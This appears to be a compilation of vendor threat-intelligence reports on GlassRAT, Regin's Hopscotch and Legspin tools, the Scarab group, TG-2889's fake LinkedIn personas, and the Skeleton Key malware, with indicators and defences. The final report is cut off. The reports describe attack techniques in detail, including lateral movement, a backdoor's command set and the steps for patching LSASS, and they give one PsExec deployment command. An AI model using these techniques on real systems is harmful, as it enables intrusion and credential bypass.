Security Analytics reveals connections to following host aliases, which as of the time of this writing, resolve to the same IP address: 115.144.x.x in South Korea. The GlassRAT connects with the following string in the handshake. cb ff 5d c9 ad 3f 5b a1 54 13 fe fb 05 c6 22 The handshake protocol has been incorporated into a parser for RSA Security Analytics (Figure 13) that is included in this report s annex, as well as on RSA Live. Figure 13 GlassRAT C2 parser in action on RSA Security Analytics Even without the parser (typical with a protocol-abusing raw socket connection) RSA Security Analytics flags on unknown service over http port and unknown service over ssl port (Figure 14), cluing the security investigator to the probability that the traffic is malicious. http://charge.rsa.com/wp-content/uploads/2015/09/Finding-The-R.A.T-With-ECAT.pdf Figure 14 GlassRAT protocol abuse identified by Security Analytics In each case, the Trojan dropper installed the DLL with the file pointer hard coded to be 12 megabytes in size. Thus, although the functional part of the GlassRAT DLL is only 16kb or so in size, the file size shown on disk is much larger (Figure 15). Figure 15 GlassRAT DLL takes 11+MB on disk, but consists of mostly null data bytes APPENDIX Campaign C2 overlap graphic Malware hashes C2 infrastructure (some IP addresses redacted) GlassRAT Yara signature PRIVATE ANNEX Unredacted C2 infrastructure Unredacted campaign C2 overlap graphic GlassRAT C2 decoder script (RSA customers and vetted industry partners can have access to the private annex by emailing conops@RSA.com.) An analysis of Regin's Hopscotch and Legspin With high profile threats like Regin, mistakes are incredibly rare. However, when it comes to humans writing code, some mistakes are inevitable. Among the most interesting things we observed in the Regin malware operation were the forgotten codenames for some of its modules. These are: Hopscotch Legspin Willischeck U_STARBUCKS We decided to analyze two of these modules in more detail - Hopscotch and Legspin. Despite the overall sophistication (and sometimes even over-engineering) of the Regin platform, these tools are simple, straightforward and provide interactive console interfaces for Regin operators. What makes them interesting is the fact they were developed many years ago and could even have been created before the Regin platform itself. The Hopscotch module 6c34031d7a5fc2b091b623981a8ae61c Size 36864 bytes Type Win32 EXE Compiled 2006.03.22 19:09:29 (GMT) This module has another binary inside, stored as resource 103: 42eaf2ab25c9ead201f25ecbdc96fb60 Size 18432 bytes Type Win32 EXE Compiled 2006.03.22 19:09:29 (GMT) This executable module was designed as a standalone interactive tool for lateral movement. It does not contain any exploits but instead relies on previously acquired credentials to authenticate itself at the remote machine using standard APIs. The module receives the name of the target machine and an optional remote file name from the standard input (operator). The attackers can choose from several options at the time of execution and the tool provides human-readable responses and suggestions for possible input. Here's an example of "Hopscotch" running inside a virtual machine: Authentication Mechanism (SU or NETUSE) [S]/N: Continue? [n]: A File of the same name was already present on Remote Machine - Not deleting... The module can use two routines to authenticate itself at the target machine: either connecting to the standard share named "IPC$" (method called "NET USE") or logging on as a local user ("SU", or "switch user") who has enough rights to proceed with further actions. It then extracts a payload executable from its resources and writes it to a location on the target machine. The default location for the payload is: \\%target%\ADMIN$\SYSTEM32\SVCSTAT.EXE. Once successful, it connects to the remote machine's service manager and creates a new service called "Service Control Manager" to launch the payload. The service is immediately started and then stopped and deleted after one second of execution. The module establishes a two-way encrypted communication channel with the remote payload SVCSTAT.EXE using two named pipes. One pipe is used to forward input from the operator to the payload and the other writes data from the payload to the standard output. Data is encrypted using the RC4 algorithm and the initial key exchange is protected using asymmetric encryption. \\%target%\pipe\{66fbe87a-4372-1f51-101d-1aaf0043127a} \\%target%\pipe\{44fdg23a-1522-6f9e-d05d-1aaf0176138a} Once completed, the tool deletes the remote file and closes the authenticated sessions, effectively removing all the traces of the operation. The SVCSTAT.EXE payload module launches its copy in the process dllhost.exe and then prepares the corresponding named pipes on the target machine and waits for incoming data. Once the original module connects to the pipe, it sets up the encryption of the pipe communication and waits for the incoming shellcode. The executable is injected in a new process of dllhost.exe or svchost.exe and executed, with its input and output handles redirected to the remote plugin that initiated the attack. This allows the operator to control the injected module and interact with it. The Legspin module 29105f46e4d33f66fee346cfd099d1cc Size 67584 bytes Type Win32 EXE Compiled 2003.03.17 08:33:50 (GMT) This module was also developed as a standalone command line utility for computer administration. When run remotely it becomes a powerful backdoor. It is worth noting that the program has full console support and features colored output when run locally. It can even distinguish between consoles that support Windows Console API and TTY-compatible terminals that accept escape codes for coloring. "Legspin" output in a standard console window with color highlighting In addition to the compilation timestamp found in the PE headers, there are two references that point to 2003 as its true year of compilation. The program prints out two version labels: 2002-09-A, referenced as "lib version" 2003-03-A In addition the program uses legacy API functions, like "NetBIOS" that was introduced in Windows 2000 and deprecated in Windows Vista. Once started and initialized, it provides the operator with an interactive command prompt, waiting for incoming commands. The list of available commands is pretty large and allows the operators to perform many administrative actions. Some of the commands require additional information that is requested from the operator, and the commands provide a text description of the available parameters. The program is actually an administrative shell that is intended to be operated manually by the attacker/user. Command Description Change current working directory dirl dirs List files and directories Find files matching a given mask and time range, and write their contents to a XOR-encrypted archive tree Print out a directory tree using pseudographics trash Read and print out the contents of the Windows "Recycle Bin" directory Retrieve an arbitrary file from the target machine, LZO compressed Upload an arbitrary file to the target machine, LZO compressed Delete a file copy Copy or move a file to a new location Get file creation, access, write timestamps and remember the values Set file creation, access, write timestamps to the previously retrieved values Modify the previously retrieved file timestamps scan strings Find and print out all readable strings from a given file more Print out the contents of an arbitrary file access Retrieve and print out DACL entries of files or directories audit Retrieve and print out SACL entries of files or directories finfo Retrieve and print out version information from a given file Dump the first 10,000 bytes from an arbitrary file or from several system files: advapi32.dll kernel32.dll msvcrt.dll ntdll.dll ntoskrnl.exe win32k.sys cmd.exe ping.exe ipconfig.exe tracert.exe netstat.exe net.exe user32.dll gdi32.dll shell32.dll Search for LNK files, parse and print their contents info Print out general system information: CPU type memory status computer name Windows and Internet Explorer version numbers Windows installation path Codepage Print information about the disks: Type Free/used space List of partitions, their filesystem types List all running processes logdump Unfinished, only displays the parameter description reglist Dump registry information for a local or remote hive windows Enumerate all available desktops and all open windows view List all visible servers in a domain domains List the domain controllers in the network shares List all visible network shares regs Print additional system information from the registry: IE version Outlook Express version Logon default user name System installation date BIOS date CPU frequency System root directory List network adapter information: DHCP/static IP address Default gateway's address times Obtain the current time from a local or remote machine List the names of current users and the domains accessed by the machine nbtstat tracert ipconfig netstat ping Run the corresponding system utility and print the results Connect to a given TCP port of a host, send a string provided by the operator, print out the response arps Resolve a host using DNS or ARP requests users List information about all user accounts admins List information about user accounts with administrative privileges groups List information about user groups trusts List information about interdomain trust user accounts packages Print the names of installed software packages sharepw Run a brute-force login attack trying to obtain the password of a remote share sharelist Connect to a remote share srvinfo Retrieve current configuration information for the specified server netuse Connect, disconnect or list network shares netshare Create or remove network shares on the current machine nbstat List NetBIOS LAN adapter information Create a process and redirect its output to the operator system Run an arbitrary command using WinExec API exit Exit the program Set various internal variables used in other shell commands Log on as a different user kill Terminate a process by its PID kpinst Modify the registry value: [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] System This value should normally point to "lsass.exe". Create, modify or remove a system service help Print the list of supported commands The Legspin module we recovered doesn't have a built-in C&C mechanism. Instead, it relies on the Regin platform to redirect the console input/output to/from the operators. Conclusions Unlike most other Regin modules, Legspin and Hopscotch appear to be stand-alone tools developed much earlier. The Legspin backdoor in particular dates back to 2003 and perhaps even 2002. It's worth pointing that not all Regin deployments contain the Legspin module; in most cases, the attackers manage their victims through other Regin platform functions. This means that Legspin could have been used independently from the Regin platform, as a simple backdoor together with an input/output wrapper. Although more details about Regin are becoming available, there is still a lot that remains unknown. One thing is already clear what we know about Regin is probably already retired information that has been replaced by new modules and techniques as time passes. Scarab attackers took aim at select Russian targets since 2012 Contributor: Yi Li A group of attackers, which we call Scarab, has been performing highly targeted attacks against particular Russian-speaking individuals both inside and outside of Russia since at least January 2012. In each campaign, the attackers typically target a small amount of individuals rather than enterprises or governments using economic, military, topical, or generic lures. On average, less than ten unique computers are infected per month and there is no indication that the attackers are trying to spread through the victim s local network, suggesting that Scarab s campaigns are extremely targeted in nature. Many of Scarab s campaigns focus on distributing the group s custom malware (Trojan.Scieron and Trojan.Scieron.B) through emails with malicious attachments. These files contain exploits that take advantage of older vulnerabilities that are already patched by vendors. If the attackers successfully compromise the victims computers, then they use a basic back door threat called Trojan.Scieron to drop Trojan.Scieron.B on to the computer. Trojan.Scieron.B has a rootkit-like component that hides some of its network activity and features more enhanced back door functionality. Who are the Scarab attackers? Based on our research, the Scarab attackers are a technically capable group, judging on how they have custom-developed several malicious tools for these campaigns. However, they are not highly skilled or well resourced, as they rely on older exploits and executables stored in compressed archives to distribute their threats. There are some indications (based on language resources) that the attackers are familiar with Chinese language characters, and they seem to mostly target Russian speakers located in Russia and other regions around the world. Figure 1 Scarab victims based on Symantec telemetry The group conducts command-and-control (C&C) operations almost exclusively through the use of dynamic domain name system (DNS) domains. The C&C servers are usually hosted in South Korea; however, there have been instances where servers were located in other countries. For the majority of 2012, there was not much information about Scarab s victims. However from October 2012, a number of emails used by Scarab were blocked by Symantec .Cloud. All of the emails were sent from @yandex.ru email addresses. Early attacks On October 29, 2012, an email with the Russian language subject was sent to two individuals working for a large retail organization. Translated to English, the email s subject is Experimental definition is effective. These emails contained Microsoft Word attachments that triggered an exploit taking advantage of the Microsoft Windows Common Controls ActiveX Control Remote Code Execution Vulnerability (CVE-20120158). Once triggered, the exploit dropped a copy of Trojan.Scieron onto the victim s computer. The attackers continued to intermittently send emails with .doc malware droppers until August 2013. On January 22, 2013, the Scarab attackers sent an email with the English language subject Joint Call For Papers - Conferences / Journal Special Issues, January 2013 to two individuals. The attackers sent the message to email accounts associated with an Australian funded academic research project that had concluded in 2010. It is possible that the researchers were continuing to use the email accounts for unrelated topics and this was why the attackers chose to target them. Seven days later, another email was sent to the same two individuals, this time with a Russian language subject of which translates to Service-related information are released (sic). G20 summit focus From this point on, at least until January of 2014, the attackers moved to finance-related lures and targets. In April, the attackers sent an email with the subject G20 receives clean bill of health at Boao a European government target. In August, they sent another email to six people working for an international economic organisation. This email had the Russian language subject of G20 2013 which translates to G20 for 2013. In August, a final G20-related email was sent to two individuals working in the Economic Ministry of a European government. That email had the English language subject About G20 details. Russian news lures There were no further emails discovered and no active infections detected until January 2014, when Scarab s activity resumed and continued up to now. From that month on, the attackers have been using .scr files to drop Trojan.Scieron. The titles of these .scr files are usually in Russian, and are a hint as to the nature of the targets. It s very likely that the .scr files are being delivered by email; however this has not been confirmed. It is also likely and again, unconfirmed that the .scr files are embedded in .rar files. One example of the group s malicious .scr file names is 2016 This translates to Russian Federation to 2016 will test gas turbines for warships. The title comes from an article, published in June 2014, on a Russian media website. Figure 2. The attackers used the titles of news articles from a Russian media site for their malicious files names Another more recent file name was 2014 .doc.scr which translates to the quite generic work plan for June 2014 year.doc.src. Looking at the total number of infections per country in Figure 1 based on Symantec telemetry, it s clear that Russia, or at least Russian speakers, are the primary targets of the Scarab attackers, although nonRussian speakers have been targeted as well. Scarab s malware In all of these campaigns, the attackers have attempted to compromise victims computers with a variant of Trojan.Scieron. This is a basic back door threat that is used to download additional malware onto the target s computer. The main payload of Trojan.Scieron is within a DLL file. This file is dropped either from a Trojanized Microsoft Word document or from other PE files. Once the Trojan compromises the victim s computer, it is able to perform the following actions: Gather system information, such as the computer name, host name, operating system version, and drive type Download additional files Execute files Retrieve specific files from the victim s computer List directories Delete files Move files to other folders In most of the investigated incidents, Trojan.Scieron has been used to download an enhanced version of itself, which Symantec detects as Trojan.Scieron.B. This threat includes a basic rootkit-like tool which hides some of its network activity. Trojan.Scieron.B s file names seen to date are usually seclog32.dll (back door) and hidsvc.dat (rootkit). The back door s functionality includes the following features: Create, list, and terminate processes Read, set, and delete registry entries Read, write, list, and delete files and directories Gather cached URLs Launch remote shell Gather recent active files Retrieve details from its configuration file Trojan.Scieron.B rootkit functionality allows it to hide a Transmission Control Protocol (TCP) port in communications. Symantec and Norton protection The Scarab attackers have been consistently targeting a select number of victims with custom malware over the last few years. While the group uses older exploits, their campaigns seem to have had some success, judging on how they have continued to operate similar campaigns over the years. The attackers focus on Russian speakers shows that they have specific targets in mind and they continue to adjust the subject of their email campaigns to successfully compromise their victims. Symantec .Cloud blocks emails that come from the Scarab attackers. Symantec and Norton products also offer the following detections against Scarab s custom malware Trojan.Scieron Trojan.Scieron.B In general, you should adhere to the following best practices to prevent Scarab s attacks from compromising your computer: Exercise caution when receiving unsolicited, unexpected, or suspicious emails Avoid clicking on links in unsolicited, unexpected, or suspicious emails Avoid opening attachments in unsolicited, unexpected, or suspicious emails Update the software, operating system, and browser plugins on your computer to prevent attackers from exploiting known vulnerabilities. Use comprehensive security software, such as Norton Security, to protect yourself from malware. Indicators of compromise (IoC) For a full list of IoCs, please check out our indicators of compromise document. Hacker Group Creates Network of Fake LinkedIn Profiles secureworks.com/research/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles Author: Dell SecureWorks Counter Threat Unit Threat Intelligence Date: 07 October 2015 Summary While tracking a suspected Iran-based threat group known as Threat Group-2889 [1] (TG-2889), Dell SecureWorks Counter Threat Unit (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a selfreferenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. Fake LinkedIn accounts The 25 fake LinkedIn accounts identified by CTU researchers fall into two categories: fully developed personas (Leader) and supporting personas (Supporter). The table in the Appendix lists details associated with the accounts. The level of detail in the profiles suggests that the threat actors invested substantial time and effort into creating and maintaining these personas. The photos used in the fake accounts are likely of innocent individuals who have no connection to TG-2889 activity. Leader personas Profiles for Leader personas include full educational history, current and previous job descriptions, and, sometimes, vocational qualifications and LinkedIn group memberships. Of the eight Leader personas identified by CTU researchers, six have more than 500 connections (see Figure 1). Figure 1. Example Leader LinkedIn profile created by TG-2889. (Source: Dell SecureWorks) The results of open-source research conducted by CTU researchers provided compelling evidence that the Leader profiles were fraudulent: One of the profile photographs is linked to multiple identities across numerous websites, including adult sites. The summary section in one profile is identical to the summary in a legitimate LinkedIn profile, and the employment history matches a sample r downloaded from a recruitment website. In another profile, a job description was copied from genuine Teledyne and ExxonMobil job advertisements. The job description in yet another profile (see Figure 2) was copied from a legitimate job posting from a Malaysian bank (see Figure 3). Figure 2. Job description from Leader persona profile. (Source: Dell SecureWorks) Figure 3. Malaysian bank job posting matching a job description associated with a fake Leader LinkedIn profile. (Source: Dell SecureWorks) Five of the Leader personas purport to work for Teledyne, an American industrial conglomerate. In addition, one claims to work for Doosan (an industrial conglomerate based in South Korea), one for Northrop Grumman (a U.S. aerospace and defense company), and one for Petrochemical Industries Co., (a Kuwaiti petrochemical manufacturing company). Supporter personas Profiles for Supporter personas are far less developed than for Leader personas. They all use the same basic template with one simple job description, and they all have five connections (see Figure 4). Profile photographs for three of the Supporter personas appear elsewhere on the Internet, where they are associated with different, seemingly legitimate, identities. As with the Leader profiles, open-source research indicates that the Supporter profiles are also fake. Figure 4. Example Supporter LinkedIn profile created by TG-2889. (Source: Dell SecureWorks) Building credibility via endorsements The purpose of the Supporter personas appears to be to provide LinkedIn skills endorsements for Leader personas, likely to add legitimacy to the Leader personas. As shown in Figure 5, most of the Supporter accounts identified by CTU researchers have endorsed skills listed on the profiles of the Leader personas. Although unable to view Leader personas' LinkedIn connections, CTU researchers suspect the threat actors use the Supporter accounts to provide the Leader profiles with an established network, which also enhances credibility. Figure 5. TG-2889 uses Supporter accounts (gray) to endorse the skills of Leader personas (green). (Source: Dell SecureWorks) Novel technique Although CTU researchers identified eight Leader profiles, two appear to be duplicates that have different identities associated with the same account. While CTU researchers were analyzing the profiles, the threat actors altered two of the Leader LinkedIn accounts. The original profile name and photograph were replaced with a new identity, and the current job was updated: in one case replacing Teledyne with Northrup Grumman (see Figure 6) and in the second replacing Teledyne with Airbus Group. Figure 6. LinkedIn screenshots showing replacement of original Pamela McCoy persona with Christine Russell. The alphanumerical LinkedIn ID, a1/7b/955, remains the same. (Source: Dell SecureWorks) Changing personas associated with existing profiles was a clever exploitation of LinkedIn functionality because the new identities inherit the network and endorsements from the previous identity. These attributes immediately make the new personas appear established and credible, and the transition may prevent the original personas from being overexposed. Targeting LinkedIn users Creating a network of seemingly genuine and established LinkedIn personas helps TG-2889 identify and research potential victims. The threat actors can establish a relationship with targets by contacting them directly, or by contacting one of the target's connections. It may be easier to establish a direct relationship if one of the fake personas is already in the target's LinkedIn network. Five of the Leader personas claim to be recruitment consultants, which would provide a pretext for contacting targets. TG2889 likely uses spearphishing or malicious websites to compromise victims, and established trust relationships significantly increase the likelihood of these tactics being successful. Targets Seemingly legitimate LinkedIn users have also endorsed Leader personas. Endorsements are granted by connections, indicating that these legitimate users are part of the Leader personas' networks. Therefore, they are likely TG-2889 targets. Examination of the profiles associated with the endorsements revealed 204 potential TG-2889 targets. As shown in Figure 7, most are based in the Middle East. Figure 7. Legitimate endorsers of fake TG-2889 LinkedIn accounts by country. (Source: Dell SecureWorks) A quarter of the targets work in the telecommunications vertical; Middle Eastern and North African mobile telephony suppliers feature heavily. A focus on these types of targets may indicate that TG-2889 is interested in acquiring data held by these organizations or gaining access to the services they operate. A significant minority of identified targets work for Middle Eastern governments and for defense organizations based in the Middle East and South Asia. Attribution Based on strong circumstantial evidence, CTU researchers assess that TG-2889 is linked to the activity that Cylance described in its December 2014 Operation CLEAVER report. The report documented threat actors using malware disguised as a r application that appeared to allow r s to be submitted to the industrial conglomerate Teledyne. Cylance reported the use of the following domains, which reference companies associated with many of the fake LinkedIn profiles identified by CTU researchers: Teledyne-Jobs.com Doosan-Job.com NorthropGrumman.net Cylance attributed the Operation CLEAVER activity to a threat group operating at least in part out of Iran. CTU researchers have not uncovered any intelligence that contradicts this assessment. Furthermore, the strong focus suggested by the endorsement analysis on targets from Arab states in the Middle East and North Africa (MENA) region is in line with the expected targeting behavior of a threat group operating out of Iran. Ongoing threat Updates to profile content such as employment history suggest that TG-2889 regularly maintains these fake profiles. The persona changes and job alterations could suggest preparations for a new campaign, and the decision to reference Northrup Grumman and Airbus Group may indicate that the threat actors plan to target the aerospace vertical. It is likely that TG-2889 maintains personas that have not yet been identified, and that other threat groups also use this tactic. CTU researchers advise organizations to educate their users of the specific and general risks: Avoid contact with known fake personas. Only connect to personas belonging to individuals they know and trust. Adopt a position of sensible caution when engaging with members of colleagues' or friends' networks that they have not verified outside of LinkedIn. When evaluating employment offers originating from LinkedIn, seek confirmation that the individual is legitimate by directly contacting the individual's purported employer. Organizations may want to consider policing abuse of their brand on LinkedIn and other social media sites. If an organization discovers that a LinkedIn persona is fraudulently claiming an association with the company, it should contact LinkedIn. Creating false identities and misrepresenting an association with an organization is a breach of LinkedIn's terms and conditions. Appendix Fake LinkedIn personas created by TG-2889 Table 1 lists details associated with Leader and Supporter personas created by TG-2889. The pairs shaded in dark gray are different identities associated with the same LinkedIn account. The only difference in the profile links of the shared accounts is the persona name. Type Name and profile link Role Country Connections Company Leader Jon Sam Park https://www.linkedin.com/pub/jong-sampark/a0/a46/3 Network Administrator Korea Doosan Leader Pamela McCoy https://www.linkedin.com/pub/pamelamccoy/a1/7b/955 Recruitment Consultant United States Teledyne Technologies Incorporated Leader Christine Russell https://www.linkedin.com/pub/christinerussell/a1/7b/955 International Recruitment Consultant United States Northrop Grumman Leader Timothy Stokes https://www.linkedin.com/pub/timothystokes/a0/a75/b46 Recruitment Consultant United States Teledyne Technologies Incorporated Leader Matilda Aronson https://kr.linkedin.com/pub/matildaaronson/a1/4a5/227 Recruitment Consultant Korea Teledyne Technologies Incorporated Leader Petra Hedegaard https://kr.linkedin.com/pub/petrahedegaard/a1/4a5/227 Recruitment Consultant Korea Airbus Group Leader Hassan (Baqeri) Al Huwaidi https://www.linkedin.com/in/hbaqeri Research Development Manager United States Teledyne Technologies Incorporated Leader Raheleh Keramat https://www.linkedin.com/pub/rahelehkeramat/99/751/4b Infrastructure Manager Kuwait Petrochemical Industries Co. Supporter Ben Blamey https://uk.linkedin.com/pub/benblamey/a2/503/a79 Senior Electronics Project Manager United Kingdom General Motors Supporter Brandon Mobley https://uk.linkedin.com/pub/brandonmobley/a2/45b/4b Senior Electronics Design Engineer United Kingdom General Motors Supporter Broderick Huff https://www.linkedin.com/pub/broderickhuff/a1/a50/84 IT Technical and Security Manager United States Teledyne Technologies Incorporated Supporter Carolyne Mejia https://uk.linkedin.com/pub/carolynemejia/a1/443/17 IT Support Analyst United Kingdom Teledyne Technologies Incorporated Supporter Edwin Grubbs https://www.linkedin.com/pub/pamelamccoy/a1/7b/955 Recruitment Consultant United Kingdom Teledyne Technologies Incorporated Supporter Eric Harvill https://uk.linkedin.com/pub/ericharvill/a2/5a5/77b Electronics Development Engineer United Kingdom General Motors Supporter Helen Albers https://uk.linkedin.com/pub/helenalbers/a2/73b/6b7 Electronics Hardware Engineer United Kingdom Teledyne Technologies Incorporated Supporter Kristen Allen https://www.linkedin.com/pub/kristenallen/a1/a55/8b4 IT Solutions Manager United States Teledyne Technologies Incorporated Supporter Lee Chia https://www.linkedin.com/pub/leechia/a2/506/485 Hardware Design Engineer / Electronics Design Korea Doosan Supporter ******* https://www.linkedin.com/pub/*******/a2/600/940 Quality Manager United Kingdom ******* Supporter Merle Rogers https://uk.linkedin.com/pub/merlerogers/a2/378/30b IT Service Desk Engineer / Support / Windows / Mac OS / Linux United Kingdom Doosan Supporter Naomi Brinson https://www.linkedin.com/pub/naomibrinson/a2/5b9/23a Principal Electronics Systems Engineer DFM, NPI United Kingdom Unilever Supporter Peggy Gore https://uk.linkedin.com/pub/peggy-egore/a1/b60/a8b Head of IT Services and Operations United Kingdom Doosan Supporter Raymond Reale https://uk.linkedin.com/pub/raymondreale/a1/497/689 Project and Program Manager Assistant at Teledyne Technologies Incorporated United Kingdom Teledyne Technologies Incorporated Supporter Ricky Furst https://www.linkedin.com/pub/rickyfurst/a1/967/84a IT Manager at Teledyne Technologies Incorporated United States Teledyne Technologies Incorporated Supporter ******* https://www.linkedin.com/pub*******a67 IT Support Analyst at Teledyne Technologies Incorporated United States Teledyne Technologies Incorporated Supporter Steve Highsmith https://uk.linkedin.com/pub/stevehighsmith/a1/b57/4ab Operations Manager at Doosan United Kingdom Doosan Table 1. Fake LinkedIn personas. Some potentially sensitive information has been redacted. Endnote [1] The Dell SecureWorks Counter Threat Unit(TM) (CTU) research team tracks threat groups by assigning them four-digit randomized numbers (2889 in this case), and compiles information from external sources and from first-hand incident response observations. Skeleton Key Malware Analysis Author: Dell SecureWorks Counter Threat Unit Threat Intelligence Date: 12 January 2015 URL: http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malwareanalysis/ Summary Dell SecureWorks Counter Threat Unit(TM) (CTU) researchers discovered malware that bypasses authentication on Active Directory (AD) systems that implement single-factor (password only) authentication. Threat actors can use a password of their choosing to authenticate as any user. This malware was given the name "Skeleton Key." CTU researchers discovered Skeleton Key on a client network that used single-factor authentication for access to webmail and VPN, giving the threat actor unfettered access to remote access services. Skeleton Key is deployed as an in-memory patch on a victim's AD domain controllers to allow the threat actor to authenticate as any user, while legitimate users can continue to authenticate as normal. Skeleton Key's authentication bypass also allows threat actors with physical access to login and unlock systems that authenticate users against the compromised AD domain controllers. The only known Skeleton Key samples as of this publication lack persistence and must be redeployed when a domain controller is restarted. CTU researchers suspect that threat actors can only identify a restart based on their inability to successfully authenticate using the bypass, as no other malware was detected on the domain controllers. Between eight hours and eight days of a restart, threat actors used other remote access malware already deployed on the victim's network to redeploy Skeleton Key on the domain controllers. Skeleton Key requires domain administrator credentials for deployment. CTU researchers have observed threat actors deploying Skeleton Key using credentials stolen from critical servers, administrators' workstations, and the targeted domain controllers. Analysis CTU researchers initially observed a Skeleton Key sample named ole64.dll on a compromised network (see Table 1). Attribute Value or description Filename ole64.dll bf45086e6334f647fda33576e2a05826 SHA1 5083b17ccc50dd0557dfc544f84e2ab55d6acd92 Compile time 2014-02-19 09:31:29 Deployed As required (typically downloaded using malware and then deleted after use) File size 49664 bytes Sections .text, .rdata, .data, .pdata, .rsrc, .reloc Exports ii (installs the patch) uu (uninstalls the patch) DllEntryPoint (default DLL entry point) Table 1. Skeleton Key sample ole64.dll. When investigating ole64.dll, CTU researchers discovered an older variant named msuta64.dll on a "jump host" in the victim's network (see Table 2). The jump host is any system previously compromised by the threat actors' remote access malware. This variant includes additional debug statements, which allow the Skeleton Key developer to observe the memory addresses involved in the patching process. Attribute Value or description Filename msuta64.dll 66da7ed621149975f6e643b4f9886cfd SHA1 ad61e8daeeba43e442514b177a1b41ad4b7c6727 Compile time 2012-09-20 08:07:12 Deployed 2013-09-29 07:58:16 File size 50688 bytes Sections .text, .rdata, .data, .pdata, .rsrc, .reloc Exports i (installs the patch) u (uninstalls the patch) DllEntryPoint (default DLL entry point) Table 2. Skeleton Key sample msuta64.dll. The threat actors used the following process to deploy Skeleton Key as a 64-bit DLL file: 1. Upload the Skeleton Key DLL file to a staging directory on a jump host in the victim's network. CTU researchers have observed three filenames associated with the Skeleton Key DLL file: ole64.dll, ole.dll, and msuta64.dll. Windows systems include a legitimate ole32.dll file, but it is not related to this malware. 2. Attempt to access the administrative shares on the domain controllers using a list of stolen domain administrator credentials. 3. If the stolen credentials are no longer valid, use password theft tools to extract clear text domain administrator passwords from one of the following locations, which suggest a familiarity with the victim's environment: memory of another accessible server on the victim's network domain administrators' workstations targeted domain controllers 4. Use valid domain administrator credentials to copy the Skeleton Key DLL to C:\WINDOWS\system32\ on the target domain controllers. 5. Use the PsExec utility to run the Skeleton Key DLL remotely on the target domain controllers using the rundll32 command. The threat actor's chosen password is formatted as an NTLM password hash rather than provided in clear text. After Skeleton Key is deployed, the threat actor can authenticate as any user using the threat actor's configured NTLM password hash: psexec -accepteula \\%TARGET-DC% rundll32 ii 6. Delete the Skeleton Key DLL file from C:\WINDOWS\system32\ on the targeted domain controllers. 7. Delete the Skeleton Key DLL file from the staging directory on the jump host. 8. Test for successful Skeleton Key deployment using "net use" commands with an AD account and the password that corresponds to the configured NTLM hash. CTU researchers have observed a pattern for the injected password that suggests that the threat group has deployed Skeleton Key in multiple organizations. The use of PsExec can be detected within a Windows environment by alerting on the Windows events generated by the utility. The following Event IDs observed on the targeted domain controllers record the PsExec tool installing its service, starting the service, and stopping the service. These events are created every time PsExec is used, so additional analysis of the events is required to determine if they are malicious or legitimate: Unexpected PSEXESVC service install events (event ID 7045) on AD domain controllers: Log Name: System Source: Service Control Manager Summary: A service was installed in the system. Service File Name: %SystemRoot%\PSEXESVC.exe Unexpected PSEXESVC service start / stop events (event ID 7036) on AD domain controllers: Log Name: System Source: Service Control Manager Summary: "The PSEXESVC service entered the running state." "The PSEXESVC service entered the stopped state." When run, Skeleton Key performs the following tasks: 1. Check for one of the following compatible 64-bit Windows versions. The malware is not compatible with 32-bit Windows versions or with Windows Server versions beginning with Windows Server 2012 (6.2). 6.1 (Windows 2008 R2) 6.0 (Windows Server 2008) 5.2 (Windows 2003 R2) 2. Use the SeDebugPrivilege function to acquire the necessary administrator privileges to write to the Local Security Authority Subsystem Service (LSASS) process. This process controls security functions for the AD domain, including user account authentication. 3. Enumerate available processes to acquire a handle to the LSASS process. 4. Obtain addresses for the authentication-related functions that will be patched: CDLocateCSystem located in cryptdll.dll SamIRetrieveMultiplePrimaryCredentials located in samsrv.dll SamIRetrievePrimaryCredentials located in samsrv.dll 5. Perform OS-specific adjustments using the global variable set during the compatibility check in Step 6. Use the OpenProcess function to acquire a handle to the LSASS process. 7. Reserve and allocate the required memory space to edit and patch the LSASS process's memory. 8. Patch relevant functions based on the operating system: CDLocateCSystem (all compatible Windows versions) SamIRetrieveMultiplePrimaryCredentials (only Windows 2008 R2 (6.1)) SamIRetrievePrimaryCredentials (all compatible Windows versions other than Windows 2008 R2 (6.1)) Skeleton Key performs the following steps to patch each function: 1. Call the VirtualProtectEx function to change the memory protection to allow writing to the required memory allocations (PAGE_EXECUTE_READWRITE, 0x40). This step allows the function's code to be updated in memory. 2. Call the WriteProcessMemory function to change the address of the target function to point to the patched code. This change causes calls to the target function to use the patch instead. 3. Restore the original memory protection by calling VirtualProtectEx with the original memory protection flags. This step is likely to avoid suspicious writable and executable memory allocations. After patching, the threat actor can use the Skeleton Key password configured at the time of deployment to log in as any domain user. Legitimate users can still log in using their own passwords. This authentication bypass applies to all services that use single-factor AD authentication, such as web mail and VPNs, and it also allows a threat actor with physical access to a compromised system to unlock the computer by typing the injected password on the keyboard. Possible link to domain replication issues The Skeleton Key malware does not transmit network traffic, making network-based detection ineffective. However, the malware has been implicated in domain replication issues that may indicate an infection. Shortly after each deployment of the Skeleton Key malware observed by CTU researchers, domain controllers experienced replication issues that could not be explained or addressed by Microsoft support and eventually required a reboot to resolve. These reboots removed Skeleton Key's authentication bypass because the malware does not have a persistence mechanism. Figure 1 shows the timeline of these reboots and the threat actors' subsequent password theft, lateral expansion, and Skeleton Key deployment. Redeployments typically occurred within several hours to several days of the reboot. Figure 1. Relationships of deployments and reboots observed by CTU researchers, April - July 2014. (Source: Dell SecureWorks) Countermeasures The Skeleton Key malware bypasses authentication and does not generate network traffic. As a result, network-based intrusion detection and intrusion prevention systems (IDS/IPS) will not detect this threat. However, CTU researchers wrote the YARA signatures in Appendix A to detect a Skeleton Key DLL and the code it injects into the LSASS process's memory. Threat indicators The threat indicators in Table 3 can be used to detect activity related to the Skeleton Key malware. Indicator Type Context 66da7ed621149975f6e643b4f9886cfd MD5 hash Skeleton Key patch msuta64.dll ad61e8daeeba43e442514b177a1b41ad4b7c6727 SHA1 hash Skeleton Key patch msuta64.dll bf45086e6334f647fda33576e2a05826 MD5 hash Skeleton Key patch ole64.dll 5083b17ccc50dd0557dfc544f84e2ab55d6acd92 SHA1 hash Skeleton Key patch ole64.dll Table 3. Indicators for the Skeleton Key malware. Conclusion The CTU research team recommends that organizations implement the following protections to defend against the Skeleton Key malware: Multi-factor authentication for all remote access solutions, including VPNs and remote email, 